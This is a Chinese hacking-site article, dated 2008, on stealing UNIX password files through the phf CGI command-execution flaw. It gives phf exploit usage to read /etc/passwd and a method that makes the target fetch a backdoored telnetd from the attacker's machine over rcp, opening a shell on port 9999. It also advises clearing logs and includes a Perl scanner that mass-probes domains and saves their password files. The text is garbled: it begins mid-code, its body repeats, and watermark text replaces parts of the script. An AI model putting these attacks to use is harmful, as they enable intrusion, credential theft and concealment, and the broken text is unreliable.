从UNIX系统获取密码档(一)
互联网 发布时间:2008-10-08 19:04:37 作者:佚名
我要评论
目录:
PHF:WWW的PH查询
PHF查询攻击新方法
从新手处获取
获取shadow密码档
获取/etc/hosts档
本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个
有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here
使用举例:
bash% phf id xxx.org
------
Query Results
/usr/local/bin/ph -m alias=X
id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X id
------
以上是系统对程序的响应。再说一次,使用 代替命令行中的空格符。
使用如下格式可显示passwd档:
phf cat /etc/passwd hostname.xxx
另外,Quantumg在他的主页上提供了利用phf的新方法,我觉得有必要让大家
了解一下。
内容如下:
--------------------------------------------------------------------------------
Phf 查询攻击新方法
是的。我知道phf攻击已经是众所周知了,但你会奇怪为什么还有那么多笨的
LINUX用户。。。
首先...先介绍一下背景:
phf是Apache上WWW服务器的cgi-bin命令。它存在缺陷,其后果是允许任何人以运行
http服务器用户的身份执行命令。通常该用户是nobody,但有时是root。要利用这一
缺陷,只需简单地连接了该WEB服务器,并执行以下查询:
GET /cgi-bin/phf/?Qalias=X
其后跟着你所希望运行的命令(用 代替空格符)。
OK。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的LINUX服务器。(我
经常telnet到issue.net查找。)和大多数人一样,我使用Loxsmith编写的phf程序。
该程序要求把目标主机名放在第二个参数,而所要执行的命令放在第一个参数:
phf id www.host.to.hack
这里id就是所要执行的命令,这往往是我第一步都会做的。因为它不仅告诉你此
系统是不存在此漏洞,还可以提供httpd用户的信息。因此,如果我们得到一个理想
的响应,那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料,
这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp
(这是我最喜欢用的)。为了使用这个命令,你需要对本地主机进行设置。(如果
本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该
简单而不易被注意(如:test);其次,把目标主机名写入本地主机的/etc/host.equiv
中;接着就是在/etc/inetd.conf中必须有shell行;最后,在用户(test)根目录下建立
含有目标主机名和httpd用户的.rhost文件。如下:
/etc/hosts.equiv:
www.host.to.hack
/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
~test/.rhosts:
www.host.to.hack nobody
好。一旦一切都设置好了,便可以从远程主机上获取资料了。
我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。
这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法
被传送的是一个经过修改的in.telnetd,它被改为在“debug”方式下启动,“debug”
方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。
该in.telnetd允许在端口9999接受任意多的连接和执行shell。
因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录,
并确保可读。然后执行:
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:
rcp -f bindwarez)...当phf执行完后,bindwarez会被复制到远程主机上的/tmp
目录下,于是你便可以执行这个文件并远程登录到端口9999。
如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd
特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能
获得nobody权限,需要通过系统的其它漏洞去“黑”root用户。我常常发现这并不
困难,因为系统管理员往往认为没有人会在WWW服务器上运行shell,因而没有必要
设置安全系统。很显示,他们并不了解自己的系统是否存在phf缺陷。
在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让
系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。
另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。
这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-))
L8s
QuantumG
另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。
脚本内容如下:
geturl.pl
#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x /usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);
# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://$/cgi-bin/phf?Qalias=x /usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("?用户名:@HackBase.net密?码:
\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://$/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">$.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("?用户名:@HackBase.net密?码:
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
-------- cut here
使用举例:
bash% phf id xxx.org
------
Query Results
/usr/local/bin/ph -m alias=X
id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X id
------
以上是系统对程序的响应。再说一次,使用 代替命令行中的空格符。
使用如下格式可显示passwd档:
phf cat /etc/passwd hostname.xxx
另外,Quantumg在他的主页上提供了利用phf的新方法,我觉得有必要让大家
了解一下。
内容如下:
--------------------------------------------------------------------------------
Phf 查询攻击新方法
是的。我知道phf攻击已经是众所周知了,但你会奇怪为什么还有那么多笨的
LINUX用户。。。
首先...先介绍一下背景:
phf是Apache上WWW服务器的cgi-bin命令。它存在缺陷,其后果是允许任何人以运行
http服务器用户的身份执行命令。通常该用户是nobody,但有时是root。要利用这一
缺陷,只需简单地连接了该WEB服务器,并执行以下查询:
GET /cgi-bin/phf/?Qalias=X
其后跟着你所希望运行的命令(用 代替空格符)。
OK。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的LINUX服务器。(我
经常telnet到issue.net查找。)和大多数人一样,我使用Loxsmith编写的phf程序。
该程序要求把目标主机名放在第二个参数,而所要执行的命令放在第一个参数:
phf id www.host.to.hack
这里id就是所要执行的命令,这往往是我第一步都会做的。因为它不仅告诉你此
系统是不存在此漏洞,还可以提供httpd用户的信息。因此,如果我们得到一个理想
的响应,那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料,
这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp
(这是我最喜欢用的)。为了使用这个命令,你需要对本地主机进行设置。(如果
本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该
简单而不易被注意(如:test);其次,把目标主机名写入本地主机的/etc/host.equiv
中;接着就是在/etc/inetd.conf中必须有shell行;最后,在用户(test)根目录下建立
含有目标主机名和httpd用户的.rhost文件。如下:
/etc/hosts.equiv:
www.host.to.hack
/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
~test/.rhosts:
www.host.to.hack nobody
好。一旦一切都设置好了,便可以从远程主机上获取资料了。
我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。
这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法
被传送的是一个经过修改的in.telnetd,它被改为在“debug”方式下启动,“debug”
方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。
该in.telnetd允许在端口9999接受任意多的连接和执行shell。
因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录,
并确保可读。然后执行:
phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:
rcp -f bindwarez)...当phf执行完后,bindwarez会被复制到远程主机上的/tmp
目录下,于是你便可以执行这个文件并远程登录到端口9999。
如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd
特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能
获得nobody权限,需要通过系统的其它漏洞去“黑”root用户。我常常发现这并不
困难,因为系统管理员往往认为没有人会在WWW服务器上运行shell,因而没有必要
设置安全系统。很显示,他们并不了解自己的系统是否存在phf缺陷。
在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让
系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。
另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。
这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-))
L8s
QuantumG
另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。
脚本内容如下:
geturl.pl
#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x /usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);
# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);
# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://$/cgi-bin/phf?Qalias=x /usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("?用户名:@HackBase.net密?码:
\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://$/cgi-bin/phf?Qalias=x /bin/cat /etc/passwd`;
# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">$.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("?用户名:@HackBase.net密?码:
相关文章
- “CMOS密码”就是通常所说的“开机密码”,主要是为了防止别人使用自已的计算机,设置的一个屏障2023-08-01

QQScreenShot之逆向并提取QQ截图--OCR和其他功能
上一篇文章逆向并提取QQ截图没有提取OCR功能, 再次逆向我发现是可以本地调用QQ的OCR的,但翻译按钮确实没啥用, 于是Patch了翻译按钮事件, 改为了将截图用百度以图搜图搜索.2023-02-04
QQ截图是我用过的最好用的截图工具, 由于基本不在电脑上登QQ了, 于是就想将其提取出独立版目前除了屏幕录制功能其他都逆出来了, 在此分享一下2023-02-04
非系统分区使用BitLocker加密导致软件无法安装的解决方法
很多电脑用户在考虑自己电脑磁盘分区安全时会采用 Windows 自带的 BitLocker 加密工具对电脑磁盘分区进行加密。但有些人加密后就会忘记自己设置的密码从而导致在安装其它软2020-11-25
防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生
这篇文章为大家详细介绍了如何才能防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2017-06-27
彻底防止计算机泄密、重要涉密人员离职泄密、涉密人员离岗离职前防范举
近些年企业商业机密泄漏的事件屡有发生,这篇文章主要教大家如何彻底防止计算机泄密、重要涉密人员离职泄密、告诉大家涉密人员离岗离职前的防范举措,具有一定的参考价值,2017-06-27- 最近有电脑用户反应量子计算机可以破解下载的所有的加密算法吗?其实也不是不可以,下面虚拟就为大家讲解买台量子计算机,如何分分钟破解加密算法2016-09-26
怎么破解Webshell密码 Burpsuite破解Webshell密码图文教程
webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,一种网页后门。黑客通常会通过它控制别人网络服务器,那么怎么破解webshell密码呢?一起来看看吧2016-09-19- 本文讨论了针对Linux系统全盘加密的冷启动攻击,大家都认为这种攻击是可行的,但执行这么一次攻击有多难?攻击的可行性有多少呢?需要的朋友可以参考下2015-12-28
防止泄露公司机密、企业数据防泄密软件排名、电脑文件加密软件排行
面对日渐严重的内部泄密事件,我们如何守护企业的核心信息,如何防止内部泄密也就成了摆在各个企业领导面前的一大问题。其实,针对内网安全,防止内部信息泄漏早已有了比较2015-12-17







最新评论